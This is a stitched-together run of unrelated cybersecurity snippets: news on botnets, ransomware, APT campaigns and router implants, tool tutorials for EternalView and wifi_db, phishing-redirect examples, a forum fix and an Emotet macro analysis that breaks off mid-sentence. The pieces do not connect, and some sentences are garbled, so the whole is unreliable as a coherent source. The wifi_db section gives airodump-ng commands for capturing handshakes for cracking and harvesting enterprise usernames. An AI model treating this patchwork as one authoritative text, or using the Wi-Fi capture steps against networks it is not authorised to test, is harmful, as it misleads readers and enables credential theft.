- CVE-2020-17456: Critical (CVSS 9.8) remote code execution (RCE) flaw in Seowon Intech SLC-130 and SLR-120S routers.
- CVE-2018-10823: High severity (CVSS 8.8) RCE flaw affecting multiple D-Link DWR routers.
- CVE-2022-27226: High severity (CVSS 8.8) arbitrary cronjob injection impacting iRZ mobile routers.
Other flaws that may or may not be present in Enemybot depending on the variant are:
- CVE-2022-25075 to 25084: Set of flaws targeting TOTOLINK routers. The same set is also exploited by the Beastmode botnet.
- CVE-2021-44228/2021-45046: The Log4Shell and subsequent critical vulnerabilities targeting Apache Log4j.
- CVE-2021-41773/CVE-2021-42013: Targets Apache HTTP servers
- CVE-2018-20062: Targets ThinkPHP CMS
- CVE-2017-18368: Targets Zyxel P660HN routers
- CVE-2016-6277: Targets NETGEAR routers
- CVE-2015-2051: Targets D-Link routers
- CVE-2014-9118: Targets Zhone routers
- NETGEAR DGN1000 exploit (No CVE assigned): Targets NETGEAR routers
Keep botnets out
To prevent Enemybot or any other botnet from infecting your devices and recruiting them to malicious DDoS botnets, always apply the latest available software and firmware updates for your product.
If your router becomes unresponsive, internet speeds drop, and is heating up more than usual, you may be dealing with a botnet malware infection.
In this case, perform a manual hard reset on the device, enter the management panel to change the admin password, and finally install the latest available updates directly from the vendor’s website. |
The BlackByte ransomware operators leverage ProxyShell Microsoft Exchange vulnerabilities for initial access along with Cobalt Strike for lateral movement. First the attacker install web shells on the compromised machine. Web Shells are small scripts uploaded to web servers that allow a threat actor to gain persistence to a device and remotely execute commands or upload additional files to the server. The planted web shell is then utilized to drop a Cobalt Strike beacon on the server, injected into the Windows Update Agent process. After taking over the account, the adversaries install the AnyDesk remote access tool and then proceed to the lateral movement stage.
BlackByte Ransomware Signatures
BlackByte Ransomware Download |
In late 2022, OpenAI publicly released some of the most sophisticated deep-learning models – DALL-E and Chat GPT. These neural networks rely on machine learning to generate infinite amounts of unique textual and visual content for users anywhere on the planet. OpenAI may have been the first company to release its products to the public, but it is not alone in its development; companies like NVIDIA, Google, and smaller artificial intelligence startups are developing similar engines. These generative AI models allow users to input commands to create essays, music lyrics, simple code and more. In January 2023, OpenAI, the Stanford Internet Observatory, and Georgetown University’s Center for Security and Emerging Technology released a study that explored the possibility of these models being used in influence campaigns by both state and non-state actors through the production of disinformation. The disruptive potential posed by these generative AI technologies has led some to consider them “weapon[s] of mass disruption.”
Over the past decade, extremist groups have been adapting their propaganda to be more interactive. Extremist video games, social media content, and music have found their way onto a variety of internet platforms. Unlike the extremist propaganda of the past, these new digital media products allow extremist groups to interact with audiences in unprecedented ways. This Insight will focus on the emergence of new digital AI-generated extremist propaganda. By simulating a variety of extremist content using AI generative models, the authors predict that this emerging technology may enable and accelerate the production of a greater quantity and quality of digital propaganda manufactured by non-state extremist actors. |
Checker Bots Definition
An account checker bot is an attack tool that takes lists of leaked username and password pairs and tests them against a website.
The attacker uses account checker bots to test stolen credentials. The attacker may then also use this account for other malicious purposes such as spam. Successful logins can result in account takeovers. Attackers can find and use publicly available lists of credentials, in combination with account checkers, to find vulnerable accounts which they then use for various fraudulent activities. You can use this tool to check if your email address has appeared in any data leak.
Many websites cannot distinguish bot interactions from normal human interactions and consequently accept this type of bot traffic. Because of it, account checker bots are still popular amongst cybercriminals.
Sign up for a demo and see Netacea in action today to discover more about our pioneering approach to detecting and preventing account takeover on your website with bot management. Protect your assets from account checker bots 24/7. |
EternalView – Information Gathering and Vulnerability Assessment tool
EternalView is an automated tool that is used in the phase of Information Gathering or Reconnaissance. This tool has various features like Web Technology Detection, CMS Detection, Collect Whois Record data, Check IPS/WAF on the target domain, and many more. All the features can be used through interactive mode, just you need to specify the option and provide the target domain URL. This tool is developed in the Shell language and it’s faster to use. It’s available on the GitHub platform, it’s free and open-source to use.
Installation of EternalView Tool on Kali Linux OS
Step 1: Use the following command to install the tool in your Kali Linux operating system.
git clone https://github.com/rpranshu/EternalView.git
Step 2: Now use the following command to move into the directory of the tool. You have to move in the directory in order to run the tool.
Step 3: Change the permissions of the EternalView.sh file by using the following command.
sudo chmod 777 EternalView.sh
Step 4: Run the below command to verify the installation.
Working with EternalView Tool on Kali Linux OS
Example 1: Whois information
Select Option 1
We have got the Whois information about the target domain geeksforgeeks.org.
Example 2: Web Technology Detection
Select Option 3
In this example, we have got the technical information which is been used by the target domain like Programming Languages, Plugins, etc.
Results are saved in HTML formatted file. We have displayed the results in the below screenshot.
Example 3: WAF/IDS/IPS detection
Select Option 8
In this example, we are checking the presence of any WAF/IDS/IPS on the target domain server. |
In a new phishing campaign unearthed by Cofense researchers, the Lampion malware is being distributed massively, with hackers exploiting WeTransfer as part of their campaign.
WeTransfer is an internet-based computer file transfer service that can be utilized free of cost, hence it’s a no-cost way to circumvent security software that may not detect URLs in emails.
The malware authors are sending phishing emails from exploited firm accounts requesting customers to download a “Proof of Payment” document from WeTransfer.
The file sent to the targets is a ZIP archive containing a VBS (Virtual Basic script) file that the user must open in order for the attack to begin. Upon clicking on the file, the script launches a WScript process that manufactures four VBS files with random names. The first is empty, the second has limited functionality, and the third’s sole motive is to launch the fourth script.
According to Cofense researchers, this extra step is unclear, but modular execution approaches are typically preferred for their versatility, allowing easy file swaps.
The fourth script initiates a new WScript process that links to two hardcoded URLs to retrieve two DLL files concealed inside password-protected ZIPs. The malicious links lead to Amazon AWS instances.
The ZIP file password is concealed in the script, so the archives are extracted without user communication. The contained DLL payloads are loaded into memory, allowing Lampion to be stealthily executed on compromised systems.
Subsequently, the malware initiates extracting data from the computer, and bank accounts, and overlaying its own login forms on login pages. These fake bogus forms are stolen and sent to the hacker when users enter their credentials.
The Lampion trojan has been active since at least 2019, primarily targeting Spanish-speaking users and employing exploited servers to deploy its malicious ZIPs.
Last year, the malware was identified exploiting cloud services for hosting the malware for the first time, including Google Drive and pCloud. Recently, in March 2022, Cyware reported an increase in trojan distribution, identifying a hostname link to Bazaar and LockBit operations.
Researchers advised users to apply the following mitigations to defend against malware attacks:
- Update software, including operating systems, applications, and firmware frequently
- Install OS patches when they are available
- Enforce MFA to the greatest extent possible
- If you use RDP and/or other potentially risky services, secure and monitor them closely
- Employ cryptographic vaults for data safety
Read the full article here |
Protecting Access to Running Packages
While package protection levels can limit who is allowed to edit and execute a package, a further level of protection is needed to limit who can view the list of packages currently running on a server and who can stop currently executing packages in SQL Server Management Studio.
SQL Server Management Studio uses the Integration Services service to list running packages. Members of the Windows Administrators group can view and stop all currently running packages. Users who are not members of the Administrators group can view and stop only packages that they started.
It is important to restrict access to computers that run an SQL Server service, especially an Integration Services service that can enumerate remote folders. Any authenticated user can request the enumeration of packages. Even if no packages are found by the service, the service enumerates folders. These folder names may be useful to a malicious user. If an administrator has configured the service to enumerate folders on a remote machine, users may also be able to see folder names that they would normally not be able to see. |
Spawning meaning in the computer:
The process of creating a child process and executing the child process is known as spawning. In Linux spawning is also known as forking and executing (exec). In windows, the process of forking and executing is not present but windows have the same process known as spawning.
Spawning is seen in many computer games also. For example in video games, the game character is given new life which is known as spawning. The process of creating a same copy of parent is called spawning. In video games, we can spawn any things like spawning of guns i.e. creating new guns that are similar to previous guns. Also opening new tabs in browser or opening child windows is done with spawning.
Spawning is similar to as we create different threads in the operating system. Threads are executed in parallel within the big program. Similarly, within any parent process, different child processes are created and executed in parallel. The benefit of spawning is that there will be no single process executing but many child processes are running in parallel which completes any task quickly. If the parent process only runs then the process has to wait a long time if many inputs are given.
There are three main types of spawn in windows:-
These methods of spawn get different parameters i.e. the path of file, inputs and null for terminating the inputs. |
Posted: April 4th, 2022
Your task this week is to check the internet and the Common Vulnerabilities and Exposures (CVE) List for networked IoT or IoMT devices with publicly known problems identified in the past six months.
Select two devices related that might be relevant to the organization setting and review what is known about the vulnerabilities of these devices.
For each device, include background information about the device, a description of the vulnerability, possible solutions that have been identified to fix the vulnerability, and your recommendation on whether the organization should avoid the product.
Use this Memo Template to record your work.
How Will My Work Be Evaluated?
In writing a clear and concise memo to inform management about potential vulnerabilities, you are demonstrating communication skills, technical expertise, and responsiveness to stakeholder needs and concerns.
The following evaluation criteria aligned to the competencies will be used to grade your assignment:
Place an order in 3 easy steps. Takes less than 5 mins. |
BleepingComputer reports that several Ukrainian government organizations have been targeted by the Russian state-sponsored hacking operation APT28, also known as Fancy Bear, in new attacks involving the use of malicious emails purportedly containing Windows Update guidelines for defending against cyberattacks. APT28 leveraged @outlook.com email addresses with real employee names to deliver the malicious emails, which would recommend the execution of a PowerShell command that downloads a PowerShell script before downloading another PowerShell payload, reported Ukraine's Computer Emergency Response Team. Exploitation of the "systeminfo" and "tasklist" commands are being facilitated by the second-stage payload to facilitate the collection of data, which is then sent to the Mocky service API. Such findings come after Russia was noted by Google's Threat Analysis Group to be the source of nearly 60% of phishing attacks against Ukraine, with APT28 being a significant actor. APT28 was also reported by the U.S., U.K., and Cisco to have targeted a zero-day flaw in Cisco routers to facilitate intelligence collection efforts using the Jaguar Tooth malware. |
Unlocking the secrets of wireless networks with wifi_db for fun and profit. Link to heading
Table Of Contents
wifi_db is a Python3 program which allows importing files generated with airodump-ng, using the -w flag, and adding them to a SQLite database and extract useful information. To run queries and use the built-in views, the resulting database can be opened with a database client like SQLitebrowser. In the upcoming sections, detailed information will be presented about the complete range of features offered by the program, instructions on how to use it, and additional details regarding the database. One of the most notable features of wifi_db is its ability to quickly identify relationships between APs and clients. It also streamlines the process of cracking PSK networks, obtaining identities in enterprise networks, and detecting networks stored on devices connected to corporate networks that could be vulnerable to attacks.
The project is available at:
Features Link to heading
- Shows a detailed table of connected clients and their respective APs.
- Identifies client probes connected to APs, providing insight into potential security risks usin Rogue APs.
- Extracts handshakes for use with hashcat, facilitating password cracking.
- Displays Identity information (usernames) from enterprise networks, including the EAP method used for authentication.
- Displays if a network is cloaked (hidden) even if you have the ESSID.
- Generates a summary of each AP group by ESSID and encryption, giving an overview of the security status of nearby networks.
- Provides a WPS info table for each AP, detailing information about the Wi-Fi Protected Setup configuration of the network.
- Logs all instances when a client or AP has been seen with the GPS data and timestamp, enabling location-based analysis.
- Upload files with capture folder or file. This option supports the use of wildcards (*) to select multiple files or folders.
- Docker version in Docker Hub to avoid dependencies.
- Obfuscated mode for demonstrations and conferences.
- Possibility to add static GPS data.
Usage Link to heading
The program can be used as follows:
Firstly, airodump-ng needs to be executed to capture the necessary data. This can be achieved by running the following command:
sudo airodump-ng wlan0mon -w ~/wifi/scan --gpsd
In the above command,
wlan0mon specifies the interface to be monitored,
-w specifies the path and filename where the capture files are to be saved, and
--gpsd enables the capture of GPS data if a GPS antenna is present.
The files saved in the wifi folder can be imported into the application to build the database after the captures have been made:
python3 wifi_db.py -d database.sqlite ~/wifi/
In the above command, the
-d option specifies the name of the database file to be created, and
database.sqlite specifies the filename to be used. Finally,
~/wifi/ specifies the path where the capture files are located. In this parameter the program accepts the folder path, a specific file, a plain file adding all files with that name and wildcards (*) to select multiple files according to a pattern.
wifi_db can also be used with docker:
docker pull r4ulcl/wifi_db CAPTURESFOLDER=/home/user/wifi/ touch db.SQLITE docker run -t -v $PWD/db.SQLITE:/db.SQLITE -v $CAPTURESFOLDER:/captures/ r4ulcl/wifi_db
The first command
docker pull r4ulcl/wifi_db downloads the Docker image
r4ulcl/wifi_db from Docker Hub to your local machine. This image contains the necessary software and dependencies to run the wifi_db application.
The second command
CAPTURESFOLDER=/home/user/wifi/ sets an environment variable named
/home/user/wifi/. This variable will be used later to specify the folder where the captured Wi-Fi data is stored.
The third command
touch db.SQLITE creates an empty file named
db.SQLITE in the current directory. This file will be used as the SQLite database file where the captured Wi-Fi data will be stored.
The fourth command
docker run -t -v $PWD/db.SQLITE:/db.SQLITE -v $CAPTURESFOLDER:/captures/ r4ulcl/wifi_db runs the Docker container from the previously downloaded image
r4ulcl/wifi_db. The first
-v flag mounts the
db.SQLITE file in the current directory to the
/db.SQLITE path inside the container. The second
-v flag mounts the
CAPTURESFOLDER directory on the host machine to the
/captures/ directory inside the container. This allows the host captures to be process by wifi_db and wifi_db output database to be stored on the host machine.
Once the database is generated, it can be accessed using a database client such as SQLitebrowser or wifi_data, allowing the user to explore the many tables and views provided by the program and run custom queries against the database.
Below is an example of a ProbeClientsConnected table.
In this example we can see the probes of the clients connected to different networks. For example, we can see that a wifi-global client has probes to “WiFi-Restaurant”, “home-wifi” and “open-wifi”.
Database information Link to heading
The database consists of tables with the following information:
- AP: stores information about access points including BSSID, SSID, channel, frequency, encryption, and geographic location.
- Client: stores information about clients including MAC address, SSID, manufacturer, and device type.
- SeenClient: stores information about clients that have been observed on the network including MAC address, time stamp, signal strength, and geographic location.
- Connected: stores information about clients that are currently connected to access points including the BSSID and MAC address.
- WPS: stores information about Wi-Fi Protected Setup (WPS) configuration for access points including the BSSID, SSID, WPS version, and device information.
- SeenAP: stores information about access points that have been observed on the network including the BSSID, time stamp, signal strength, and geographic location.
- Probe: stores information about Wi-Fi probe requests made by clients including MAC address, SSID, and time stamp.
- Handshake: stores information about successful key establishment between a client and an access point including BSSID, MAC address, file name, and hashcat value.
- Identity: stores information about EAP identities used in authentication between a client and an access point including the BSSID, MAC address, identity, and method.
Additionally, the database includes the following views:
- ProbeClients: This view combines data about clients that have sent probe requests to access points, including the manufacturer of the client device, the number of packets sent, and the SSID (network name) of the access point that was probed.
- ConnectedAP: This view combines data about clients that are currently connected to an access point, including the SSID of the access point, the MAC address of the client device, and the manufacturer of the client device.
- ProbeClientsConnected: This view combines data about clients that have sent probe requests and are also currently connected to an access point, including the SSID of the access point, the MAC address of the client device, and the manufacturer of the client device.
- HandshakeAP: This view combines data about successful handshakes between clients and access points, including the SSID of the access point, the MAC address of the client device, the manufacturer of the client device, and information about the captured handshake file.
- HandshakeAPUnique: This view combines data about unique handshakes that have been captured, based on their SSID. This view excludes any handshake of an AP more than once.
- IdentityAP: This view combines data about client identities (i.e. usernames) that have been associated with specific access points, including the SSID of the access point, the MAC address of the client device, the manufacturer of the client device, and the method used to authenticate the client.
- SummaryAP: This view provides a summary of all access points in the database, including the number of times each SSID has been observed, the encryption type used by the access point, the manufacturer of the access point, and whether the access point is “cloaked” (hidden from view).
Each time the program is executed, new information is added to the database, joining it to the existing ones. Furthermore, complete folders can be imported without going file by file. |
Researchers on Tuesday unveiled a large-scale discovery of malicious firmware that could hack a wide range of residential and small office routers into a network that silently relays traffic to command and control servers maintained by Chinese state-sponsored hackers.
A firmware implant, revealed in a write-up from Check Point Research, contains a full-featured backdoor that allows attackers to establish communications and file transfers with infected users. tools, remote issue commands, and upload, download, and delete files. The implant came in the form of firmware images for TP-Link routers. The well-written C++ code, however, makes it difficult to implement its functionality in a “firmware-agnostic” way, meaning that it is trivial to modify it for use with other router models.
Not the ends, only the means
The primary purpose of the malware appears to be to relay traffic between an infected target and the attackers’ command and control server in a way that hides the source and destination of the communication. With further analysis, Check Point Research ultimately discovered that the control infrastructure was run by hackers tied to Mustang Panda, an advanced persistent threat actor that Avast and ESET security firms said was working for the government. in China.
“Learning from history, router implants are often installed on arbitrary devices of no particular interest, with the aim of creating a chain of nodes between the main infections and real command and control,” Check Point researchers wrote in a shorter write-up. “In other words, infecting a home router doesn’t mean the home owner is specifically targeted, but it’s just a means to an end.”
Researchers discovered the implant while investigating a series of targeted attacks against foreign affairs entities in Europe. The main component is a backdoor with an internal name Horse Shell. The three main functions of the Horse Shell are:
- A remote shell for executing commands on the infected device
- File transfer for uploading and downloading files to and from the infected device
- The data exchange between the two devices uses SOCKS5, a protocol for proxying TCP connections to an arbitrary IP address and providing a means for UDP packets to be forwarded.
SOCKS5 function as the ultimate purpose of the implant. By creating a chain of infected devices that establish encrypted connections with the closest two nodes (one in each direction), it is difficult for anyone who stumbles upon one of them to know -an origin or final destination or the actual purpose of the infection. As Check Point researchers wrote:
The implant can relay communication between two nodes. By doing so, attackers can create a chain of nodes that relay traffic to the command and control server. By doing this, attackers can hide the final command and control, because each node in the chain only has information on the previous and next nodes, each node is an infected device. Only a few nodes will know the identity of the final command and control.
By using multiple layers of tunnel communication nodes, threat actors can obscure the origin and destination of traffic, making it difficult for defenders to trace traffic back to C2. This makes it difficult for defenders to detect and respond to an attack.
In addition, a chain of infected nodes makes it difficult for the defenders to disrupt the communication between the attacker and the C2. If a node in the chain is compromised or taken out, the attacker can still maintain communication with C2 by routing the traffic through another node in the chain. |
An unknown threat actor is targeting routers (opens in new tab) with remote access trojans (RATs), in a bid to hijack traffic, collect sensitive data and compromise connected devices.
This is according to Black Lotus Lab, the threat intelligence division of Lumen Technologies, which recently observed real-world attacks leveraging a novel malware strain, called ZuoRAT.
ZuoRAT is a multi-stage remote access trojan, developed exclusively for SOHO (small office/home office) routers. It’s been in use for some two years now, the researchers say, targeting businesses in North America and Europe.
The malware leverages known vulnerabilities to provide the attackers with access to the routers. Once in, they’re able to deploy two additional, custom-built RATs on the target devices.
The additional RATs allow threat actors to upload and download files, run commands and persist on the workstation. One of them has cross-platform functionality, it was added.
Black Lotus Labs also found two separate command & control (C2) servers. One is designed for the custom workstation RAT, and leverages Chinese third-party services. The second one was designed for the routers.
This malicious campaign started approximately at the same time as the pandemic, and the researchers believe the two are connected. When businesses shifted to remote working, employees began accessing corporate networks from home, increasing the risk factor.
Attackers saw this as an opportunity, trying to leverage home-based devices, such as routers, for their nefarious purposes.
“Router malware campaigns pose a grave threat to organizations because routers exist outside of the conventional security perimeter and can often have weaknesses that make compromise relatively simple to achieve,” said Mark Dehus, Director of Threat Intelligence for Lumen Black Lotus Labs.
“In this campaign, we have observed a threat actor’s capability to exploit SOHO routers, covertly access and modify internet traffic in ways difficult to detect and gain additional footholds in the compromised network.” |
The threat actor known as Winter Vivern has been observed exploiting a zero-day flaw in Roundcube webmail software on October 11, 2023, to harvest email messages from victims’ accounts.
“Winter Vivern has stepped up its operations by using a zero-day vulnerability in Roundcube,” ESET security researcher Matthieu Faou said in a new report published today. Previously, it was using known vulnerabilities in Roundcube and Zimbra, for which proofs-of-concept are available online.”
Winter Vivern, also known as TA473 and UAC-0114, is an adversarial collective whose objectives align with that of Belarus and Russia. Over the past few months, it has been attributed to attacks against Ukraine and Poland, as well as government entities across Europe and India.
The group is also assessed to have exploited another flaw Roundcube previously (CVE-2020-35730), making it the second nation-state group after APT28 to target the open-source webmail software.
“Despite the low sophistication of the group’s toolset, it is a threat to governments in Europe because of its persistence, very regular running of phishing campaigns, and because a significant number of internet-facing applications are not regularly updated although they are known to contain vulnerabilities,” Faou said. |
Discussion in 'Plesk for Linux - 8.x and Older' started by Beto, Oct 18, 2006.
I just installed a new server, php , plesk 8.0.1 but I can't use fsockopen in my php scripts...
I fixed it If you google on "fsockopen and selinux" you'll see that it's a known problem... When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux. Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc." I fixed it by doing following: [root@cypres init.d]# setsebool -P httpd_can_network_connect 1 [root@cypres init.d]# ./httpd restart
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The well-known social engineering attack called phishing makes the credulous Internet user to disclose confidential information to the attacker, although he usually would direct these information only to a trustworthy communication partner he thinks to communicate with. The attack leads to an identity theft, the web visitor reveals his login credentials, e.g. personal identifi cation numbers, bank account transaction numbers or credit card numbers.
In a more advanced attack the adversary subverts the domain name systems (DNS). The attacker can force the DNS system to resolve a victim's site domain to an attacker-controlled IP address. This can be achieved by techniques like DNS poisoning and DNS response forgery. Nowadays DNS systems can be more and more manipulated in wireless network environments which are mainly still not secured properly.
Often a wireless LAN router can be compromised easily and either the whole software can be swapped or manipulated or only DNS settings can be changed and might then point to a DNS server the attacker owns. This attack is also known as Drive-by pharming".
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Leverage common URL redirection methods to create effective phishing attacks
“Simple” can often be more difficult than “complex”. When you think of the more sensitive phishing campaigns and their components, URL forwarding doesn’t immediately come to mind as the cause of the problem. However, URL forwarding is a method that is often abused by cyber criminals to create multi-layered phishing attacks. Why? The short answer is three E’s: easy, elusive, and elusive (to the eye).
URL redirection for malicious purposes
URL redirection is the process of moving web users from the originally requested URL to a completely different URL. Internet users encounter URL redirects every day, sometimes without noticing it: by clicking on a shortened link to read the news, by being redirected from one site to another to buy or pay for an advertised product, etc. has become a part of our daily life online that phishers are not afraid to exploit for their own ends.
Let’s take a look at examples of three phishing attacks, all of which URL redirection plays a vital role:
This type of attack is not very common, as it consists of a large number of components:
- An email with an attachment
- URL encoded phishing redirect in HTML file exploits set-timeout method
- The phishing landing page
Imagine receiving a strange email from your corporate IT administrator asking you to update something. The email is blank, apparently sent internally (the sender is spoofed), and contains an “UPDATE.htm” attachment.
When checking the source code of the file page, we can see an encoded script that when decoded shows the phishing URL of the webpage the recipient would be redirected to after a few milliseconds of delay (setTimeout method) .
The setTimeout () method is used to execute a function only once after a specified number of milliseconds. For example, if this file is opened in a browser, the setTimeout method performs the redirect and redirects the victim to an Office365-themed phishing landing page after 5 milliseconds.
# 2. Phishing emails delivered using Adobe open redirects
The second example also uses a corporate IT admin as a cover, but in this case it is clear that the phishing email is sent from a compromised Japanese mailbox [email protected] which is not not associated with the target organization or Microsoft Office. 365. Recipients are notified that their Office 365 password expires on that day, are informed that they must change it or continue to use the current password, and are pushed to an easy choice: by clicking on “Keep it”. Current Password ” :
Once they do, the targets will land on a fake Office 365 login page hosted on the r-im[.]xyz, after being redirected through the Adobe hosting URL.
Misuse of Adobe’s open redirect services (t-info.mail.adobe.com) adds legitimacy to the URL and increases the chances that the email will escape detection. These are the main reasons why open redirects from highly trusted companies (Adobe, Google, Samsung) are so popular among phishers.
# 3. Shortened URLs that hide phishing login pages
URL shortening services – such as bit.ly, cutt.ly, t.co, and others – are actively used by attackers to hide URLs and direct targets to a malicious page.
A recently observed attack used cutt.ly to cover up a phished Netflix login page. What we see below is an email, purportedly sent by Netflix support, asking the recipient of the email to “restart subscription”:
The “Restart Subscription” button opens a spoofed Netflix login page, including the URL (https: //www.propertyoptionsdevelopments[.]com / netflx20 /) was shortened via cut.ly (https: // cutt[.]ly / ajKQ2We). Email was sent from
Bottom line: don’t underestimate URL redirection. Be extremely careful before opening a link from an unsolicited email, especially when you are not 100% sure where that link will take you. |
A security hole that enables a local or remote attacker to execute arbitrary code with root privileges is susceptible to attack from Exim mail servers.
According to Exim developers, the CVE-2019-15846 vulnerability impacts versions 4.92.1 and previous. The defect is to be fixed by Exim 4.92.2, first announced on Wednesday and published on Friday. You may use the following free web scanning tool to know the issue directly.
The vulnerability, defined as a heap overflow, impacts Exim’s TLS servers and is not dependent on the TLS library used — developers note GnuTLS and OpenSSL are impacted.
“The vulnerability is exploitable by sending an SNI that ends in a slash zero sequence during the original TLS handshake,” recommended Exim developers.
Although malicious exploitation does not exist, Qualys scientists who have evaluated the fault have created a fundamental proof of concept (PoC) to prove the usefulness of the heap overflow. Exim developers were initially told of the issue by a researcher who uses the online moniker “Zerons” on July 21. Start qualys freescan download to check vulnerablity
Vulnerability exploitation can be prevented by setting up the server not to accept TLS connections, but this reduction is not recommended. Adding particular guidelines to the Access Control List (ACL) is also a mitigation.
“This is a vulnerability to buffer overflow. It does not allow attackers to directly perform root orders. In the end, this fault enables attackers to overwrite memory that can be used to execute code. This differs considerably from remote control execution, because the attacker needs not only to remove barriers from the sensitive program implementation but also from mitigation of OS exploits, “Craig Young, Tripwire’s vulnerability and exposure research team computer security investigator, told SecurityWeek.
“Because of the different complexities concerned, I do not think it would be probable to see active code execution attacks by script kiddies rapidly. Having said this, I would be surprised if more sophisticated attackers don’t already use it to use targeted mail servers, “added Young.
Exim is one of the most commonly used mail servers, and Shodan has a majority of over 5 million cases in the US. Exim is therefore a tenting destination for malicious performers.
In the middle of June, safety specialists and businesses advised that the Exim vulnerability CVE-2019-10149 was being exploited to supply cryptocurrency miners. |
OWASP A4 - XML External Entities (XXE)
In this module, we define security misconfiguration and offer tips on improving server security.
Using Components with Known Vulnerabilities
This module discusses use of components with known vulnerabilities (such as libraries and frameworks) that may undermine application defenses and enable various attacks.
Cross-Site Request Forgery (CSRF)
In this module, we’ll review common exploitation techniques and ways learners can protect applications from cross-site request forgery. |
North Korean threat actors, known as the Lazarus group have been posting fake job listings to target the cryptocurrency vertical in the US, UK, Germany, Singapore and more.
The North Koreans are believed by UN Security Council Experts to be behind cryptocurrency heists that led to losses of $571 million between 2017 and 2018, resulting in the US Treasury sanctioning three DPRK-sponsored and financially motivated hacking groups (Lazarus, Andarial, and Bluenoroff).
North Korea may boast over 6,000 hackers, a US Army Report suggests. Many are operating from other countries including Russia, China and India.
The post Cryptocurrency organisations hit with fake job offers appeared first on IT Security Guru. |
Missing Authentication for Critical Function (CWE-306)
An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource.
Feedly found the first article mentioning CVE-2019-12524. See article
EPSS Score was set to: 1% (Percentile: 81.4%)
Detection for the vulnerability has been added to Qualys |
The status value is updated every second based on Operating Ratio of each server obtained by the management server and sent to the authoritative name server
. The status value is set to 0 while the corresponding server stay in overloaded.
This means that the receiving name server
will complete all the relevant queries necessary for the final answer.
The security extensions are designed to protect the DNS from man-in-the-middle and cache poisoning attacks, which can occur when hackers corrupt DNS data stored on recursive name servers
to redirect queries to malicious sites.
The decentralised system helps keep the system redundant and more efficient because domain name servers
close to their local users can operate more quickly, he said.
In this case, the attacks are on the navigational structure of the Internet, targeting the domain name server
(DNS) system that translates names such as "www.securitymanagement.com" into numeric IP addresses.
Prior to implementing WANSyncHA, Jones deployed Adonis DNS Appliances from BlueCat Networks in order to isolate the IP addresses provided for their critical servers at co-locations by having them correspond to the name server
at each physical location.
This name server
will then follow the process outlined above in DNS in theory, until it either successfully finds a result, or does not.
The Taxonomic Name Server
architecture is divided into a set of layered subsystems that maximize the utility of the data and enable this system to form a collaborative infrastructure with other, independent global efforts to build a catalog of life.
After evaluating the Nominum Foundation Caching Name Server
, BT recognized that it could improve network efficiency and achieve ROI by adopting Nominum's software.
But Akamai pointed out later in the day that Keynote's measurement agents use private DNS servers, whereas the vast majority of web users share a name server
with hundreds or thousands of other people on the same network.
Consequently, monitoring and protecting such assurance of continuous name server
operation has become increasingly important.
That information goes to an "object name server
," or ONS, that tracks products. |
Is a way to gather hardware information to uniquely identify a certain device (not a category) that makes requests to a Java servlet ? I searched for this, but I don't think there is a method ( "user agent" header can be used for some information, but that only identifies a certain set of devices and it is not enough).
This information is not available anywhere in a HTTP request. The remote address (client IP) and the user agent (the string which the browser pretend to be) are the closest unique identifiers you can ever extract based on a HTTP request. Even then, this information is not reliable. The client can for instance use an anonymous proxy. The client can for instance have changed the browser's user agent string.
Another way is to just introduce a registration/authorization/authentication system wherein the client need to supply an unique identifier itself by a valid login. This is not only simpler, but also more robust. |
For a very long time, I was thinking of writing an article when I received an email that contained an attachment having some sort of an invoice.
The mail seemed legit, though suspicious, and I decided that it would be a good time to write up an article on how we can analyze the malicious attachment and deobfuscate malicious VBA macros from it to have a better understanding of what an attacker was trying to achieve.
I believe this attachment is related to an Emotet malware as per the VirusTotal results and a few similar attachments, which I have seen earlier where the same techniques were being used to infect a victim’s machine.
So, What’s an Emotet?
If you are a security professional who always tries to keep himself/herself updated, then I am sure that you would have definitely heard or read somewhere about the emotet malware. But if not, then worry not, as I’ll try to give you a brief overview of the emotet malware and how dangerous it is.
As per Wikipedia:- “Emotet is a banking Trojan malware program which obtains financial information by injecting computer code into the networking stack of an infected Microsoft Windows computer, allowing sensitive data to be stolen via transmission. Emotet malware also inserts itself into software modules that are then able to steal address book data and perform denial of service attacks on other systems. It also functions as a downloader or dropper of other banking Trojans.”
Emotet is one of the most prominent malware of all time and is considered very dangerous to organizations due to its ever-changing behavior (polymorphic malware) and evading security mechanisms. Current emotet malware has also the capability to detect whether they are being run in a sandbox machine and can thwart the analysis.
My Machine Setup for Analysis!!
- FLARE VM (One can install it by navigating to the link here)
- Windows 10 x64-bit, where Flare VM will be installed.
- Microsoft Office 64-bit
- An extra tool exiftool is required.
I highly urge you to take a snapshot of your VM once you have installed all the necessary tools for analysis. This would save you some extra time setting up your VM again in case of any mishap.
I decided to use Flare VM from FireEye as I don’t have to create a lab from scratch and install every tool required for analysis. Plus, it’s a hectic and time-consuming task to configure each tool as per your need.
Flare VM is an all-in-one virtual machine for your analysis. And you don’t have to waste your time setting up your lab. Everything comes pre-installed.
Technical Analysis of Malicious VBA Macro
So, the sample I’ll be using today is quite an old one, and the technique would be outdated for malware like emotet as they keep on evolving themselves.
But the main motive of this write-up is to show you how you can go ahead and analyze and extract macros from any malicious document (if you encounter any).
It’s generally a good approach to start analyzing the sample without actually opening it and gathering as many details as possible. Since we already know that our sample is a malicious word document and has macros, we can straight away extract the macros by using a tool called olevba, a part of a python-oletools package of which you don’t have to worry about going to the Internet and grabbing a tool. It comes pre-installed with FLARE VM.
Here in the image above, a subroutine
OpwUzGpsi is created and some code is written inside to it which will do some crazy stuff at the back-end when the same function is called.
From the code itself, we can guess that
ActiveDocument.BuiltInDocumentProperties("Comments") will carve out some code from the Comments section of the document and will be stored in the desired variable.
The below image is a continuation of the above section. Once the meaningful code has been extracted from the Comments section, the function will then execute the malicious macros into our system. Some key things to notice here are
VBA.Shell$ which will execute whatever is set in the variable
RzUZw. Next, we can see the subroutine
AutoOpen which will auto-execute the malicious macro once you open up the word document (provided you have clicked on the Enable Content macro security warning).
Now, since we got an overall idea of how the document will pull out other data from the Comments section to make it work together, we have to focus on finding that section so that finally, it can form a complete macro. But how we are going to find that Comments section? Worry not. I got you covered.
Before we do that, let’s just extract the emotet macro that we saw earlier and save it in a separate file called
